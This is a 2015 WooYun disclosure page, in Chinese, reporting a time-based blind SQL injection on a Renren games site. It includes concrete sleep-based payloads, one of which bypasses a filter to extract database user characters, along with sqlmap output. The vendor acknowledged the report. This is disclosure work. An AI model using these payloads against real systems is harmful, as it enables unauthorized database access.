当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126369

漏洞标题:人人网某站点高危SQL注入漏洞

相关厂商:人人网

漏洞作者: 黑暗游侠

提交时间:2015-07-13 09:28

修复时间:2015-08-27 10:32

公开时间:2015-08-27 10:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-13: 细节已通知厂商并且等待厂商处理中
2015-07-13: 厂商已经确认,细节仅向厂商公开
2015-07-23: 细节向核心白帽子及相关领域专家公开
2015-08-02: 细节向普通白帽子公开
2015-08-12: 细节向实习白帽子公开
2015-08-27: 细节向公众公开

简要描述:

人人网核心站点高危SQL注入漏洞(First Blood)

详细说明:

哈哈看了下这是2015年以来人人网第一枚SQL注入漏洞,看在一血的份上厂商rank求手抖~

漏洞证明:

看到人人网核心站点这样一处URL:

http://ku.games.renren.com/?proid=


测试了下 and sleep

http://ku.games.renren.com/?proid=20 and sleep(5)


延迟返回,可以确定此处存在SQL注入
然后丢sqlmap傻眼了:

[12:11:55] [ERROR] unable to retrieve the number of databases
[12:11:55] [INFO] falling back to current database
[12:11:55] [INFO] fetching current database
[12:11:55] [INFO] retrieved:
[12:12:01] [INFO] retrieved:
[12:12:06] [CRITICAL] unable to retrieve the database names


普通的payload根本注入不出来任何数据
不用想也知道肯定存在过滤规则
先不说如何绕过去注入
但是benchmark()这个函数,连跳广场舞的大妈都能让该站严重负载
==========================
那么只能手工了
ascii(mid(lower(user(),1,1))=* 注入无果,过滤直接throw了
那么换一种方式来延迟,单个猜解:

http://ku.games.renren.com/?proid=20 and sleep(1-abs(sign(ascii(mid(lower(user())from(1)for(1)))-113)))


无延迟,正常返回

<code>http://ku.games.renren.com/?proid=20 and sleep(1-abs(sign(ascii(mid(lower(user())from(1)for(1)))-113)))


1秒延迟,正常返回,绕过了过滤
so,数据库user()第一个字符ascii码为114,转换一下字母为r
剩下的逐个猜解即可,写个脚本自动跑更快

修复方案:

半年没收到注入了,20可好?

版权声明:转载请注明来源 黑暗游侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-13 10:30

厂商回复:

谢谢,非常感谢您的验证,我们会尽快督促相关人员处理修复此漏洞。

最新状态:

暂无